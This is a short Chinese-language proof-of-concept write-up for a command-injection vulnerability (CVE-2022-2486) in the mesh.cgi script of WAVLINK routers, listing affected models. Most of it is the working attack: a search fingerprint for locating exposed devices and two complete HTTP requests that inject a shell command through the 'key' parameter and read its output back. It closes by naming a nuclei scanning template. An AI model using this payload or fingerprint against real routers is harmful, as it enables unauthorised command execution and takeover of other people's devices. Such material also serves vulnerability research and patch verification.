WAVLINK mesh.cgi命令执行漏洞（CVE-2022-2486）
一、漏洞简介
WAVLINK是中国睿因科技（WAVLINK）公司开发的一款路由器，该系统mesh.cgi文件存在命令执行漏洞，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。
二、影响版本
- wavlink 路由器
三、资产测绘
- hunter
web.body="firstFlage" - 特征
四、漏洞复现
GET /cgi-bin/mesh.cgi?page=upgrade&key=';ls>./1.txt;' HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
获取命令执行结果
GET /cgi-bin/1.txt HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
nuclei脚本
wanlink-router-mesh-cgi-rce.yaml